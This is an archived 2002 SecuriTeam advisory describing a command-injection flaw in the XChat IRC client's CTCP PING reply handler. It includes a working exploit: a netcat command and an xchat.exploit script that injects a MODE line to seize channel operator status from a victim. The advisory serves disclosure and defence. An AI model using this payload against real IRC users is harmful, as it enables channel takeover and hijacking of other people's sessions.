

[UNIX] XChat IRC Session Hijacking Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0045.html>

From: support@securiteam.com

Date: 01/11/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 11 Jan 2002 16:05:25 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

XChat IRC Session Hijacking Vulnerability

SUMMARY

<<http://www.xchat.org/>> XChat is an IRC client for UNIX operating systems. It is possible to trick XChat IRC clients (1.4.2, 1.4.3) into sending commands to the IRC server they are on, potentially allowing for social engineering attacks, channel takeovers, and denial of service.

DETAILS

Vulnerable systems:

XChat version 1.4.2

XChat version 1.4.3

Background:

The CTCP PING reply handler is designed to return the string that was sent to it by another client. This enables that client to determine the time lag between them and another user.

The querying client types

/ping nick

Which sends a command of the form:

PRIVMSG nick :\x01PING 1027050764\x01\n

Securiteam: [UNIX] XChat IRC Session Hijacking Vulnerability

Where "1027050764" was some representation of the current time, and \x01 is the character with the ASCII value 0x01. The queried client would respond with:

```
NOTICE nick :\xPING 1027050764\x01\n
```

The querying client would then compare the current time with the time in the string.

If you sent "test 1 2 3 4" as the time part, XChat would reply with the same string.

The XChat client also has a feature that allows insertion of arbitrary ASCII valued characters into a message.

The message "This is %065 test." is sent as "This is A test." to the server. (This option is disabled by default in later versions).

If these expressions are expanded on the sending client, a ping message could be sent to a user with the command:

```
/msg nick %001PING 12345678%001
```

This would send a string like:

```
PRIVMSG nick :\x01PING 12345678\x01
```

(To disable expansion in XChat when you are typing them, use '%nnn' to send the '%nnn' literal. E.g.: to send '%100x', type '%%100x' in the client. If your client does expansion, it would show up as 'dx', which can be quite annoying when discussing format strings).

Exploit:

The PING reply handler also expands the %nnn values in replies in the vulnerable clients.

#fupp is a channel.

Victim is on it and has channel op status.

Enter the command: cat xchat.exploit - | netcat server 6667

(The '-' is necessary so we do not quit instantly)

This causes vulnerable 'Victim' to give user 'exploit' channel operator status in channel '#fupp' on server 'server'.

xchat.exploit:

```
user exploit foo bar: Exploit Tester
```

```
nick Exploit
```

```
join #fupp
```

```
privmsg Victim : PING 1%010MODE #fupp +o Exploit%010
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:zen-parse@gmx.net> zen-parse and <mailto:Marcus.Meissner@caldera.de> Marcus Meissner.

Securiteam: [UNIX] XChat IRC Session Hijacking Vulnerability

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] Slashcode Login Vulnerability"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)